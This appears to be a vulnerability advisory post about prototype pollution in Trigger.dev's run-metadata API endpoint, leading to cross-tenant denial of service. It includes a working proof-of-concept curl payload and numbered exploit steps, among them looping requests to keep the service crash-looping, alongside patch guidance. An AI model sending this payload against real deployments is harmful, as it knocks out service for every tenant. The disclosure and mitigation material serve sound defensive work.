Triggerdev, Prototype Pollution, N/A (Critical) -DC-Aug2026-1493

Listen to this Post

The run-metadata update endpoint PUT /api/v1/runs/:runId/metadata accepts a JSON payload containing an array of “operations” with a “key” field that is fully attacker-controlled. This key is passed directly into new JSONHeroPath(operation.key).set(newMetadata, value) inside packages/core/src/v3/runMetadata/operations.ts (lines 22-23). The library @jsonhero/path@^1.0.21 does not reject dangerous path segments such as proto, constructor, or prototype, making it susceptible to prototype pollution. A simple request with key “$.proto.polluted” sets Object.prototype.polluted in the Node.js process that runs the webapp. Because every plain object inherits from Object.prototype, this injected property appears in all objects across the entire application, including those used by Prisma ORM for database queries and by the Prometheus metrics client. This leads to Prisma query failures because the injected property is treated as an unknown field in where clauses and update data. For example, Prisma tries to add “polluted” as an argument to updateMany, causing a PrismaClientValidationError. The contamination also breaks authentication for other tenants: the findEnvironmentByApiKey call fails because the where clause includes the polluted property, preventing workers from dequeuing jobs. Furthermore, the Prometheus client (prom-client) throws an uncaughtException when it encounters a label “polluted” not defined in its initial label set, crashing the entire webapp process. This crash was demonstrated by a second tenant’s request returning HTTP 000 (no response) immediately after a single attack request from Tenant A. The process auto-restarts after ~3 seconds, but an attacker can loop the request to sustain a crash-loop, leading to full denial of service for all tenants. The vulnerability affects all versions from v3.3.8 (where the operations API was introduced) through v4.x up to 4.5.5; it is fixed in 4.5.6. The attack requires only a normal environment API key (low privilege) and one HTTP request. The endpoint itself returns HTTP 200 even when the pollution causes errors (due to ignoreError:true), masking the failure.

DailyCVE Form:

Platform: Trigger.dev
Version: v3.3.8-v4.5.5
Vulnerability: Prototype Pollution
Severity: Critical
Date: Not disclosed

Prediction: Patched 4.5.6

What Undercode Say:

Proof-of-Concept curl command
curl -X PUT "http://localhost:8030/api/v1/runs/run_cmqr2bsyo00013js2twwhdsfu/metadata" \
-H "Authorization: Bearer tr_dev_<env_key>" -H "Content-Type: application/json" \
--data '{"operations":[{"type":"set","key":"$.<strong>proto</strong>.polluted","value":"PWNED"}]}'
Observed Prisma validation error (from logs)
prisma.taskRun.updateMany({
where:{ id:"…", metadataVersion:2, polluted:"PWNED" },
data:{ …, metadataVersion:{ increment:1, polluted:"PWNED" }, polluted:"PWNED" },
polluted:"PWNED"
}) -> Unknown argument `polluted`
Cross-tenant authentication failure
prisma.runtimeEnvironment.findFirst({
where:{ apiKey:"…", polluted:"PWNED" },
include:{ project:true, …, polluted:"PWNED" }
}) -> PrismaClientValidationError
Crash log from prom-client
Error: Added label "polluted" is not included in initial labelset: [ 'kind' ]
UncaughtException causes process termination; auto-restart after ~3s

Exploit: (Educational Purposes!)

  1. Obtain a valid environment API key (tr_dev_…) for any tenant.
  2. Identify any run ID within that environment (e.g., via listing runs).
  3. Send a PUT request to /api/v1/runs//metadata with the operations payload shown above.
  4. The pollution immediately sets Object.prototype.polluted = “PWNED” in the shared webapp process.
  5. This corrupts all subsequent Prisma queries and Prometheus metrics, causing errors for all tenants.
  6. Repeated requests cause a crash-loop, making the service unavailable (DoS). The attack works even though the endpoint returns HTTP 200; the damage is process-wide.

Protection: from this CVE

  • Reject dangerous path segments (proto, constructor, prototype) in operation.key before constructing JSONHeroPath; validate that the path starts with “$.” and contains only alphanumeric segments.
  • Use a null-prototype object (Object.create(null)) for metadata storage, or implement a safe setter that prevents assignment to Object.prototype.
  • Upgrade @jsonhero/path to a version that includes prototype-pollution guards, or wrap the .set() call with a custom guard.
  • Apply the vendor fix by upgrading to Trigger.dev v4.5.6 or later, which addresses this issue.

Impact:

  • Full cross-tenant denial of service: a single low-privilege request crashes the webapp process, taking down the service for all tenants. Sustained requests create a crash-loop.
  • Broken authentication for workers: contaminated Prisma queries prevent tenant authentication, halting job processing across tenants.
  • Prototype pollution primitive: enables further gadget chains that could lead to authentication bypass, data leakage, or privilege escalation.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top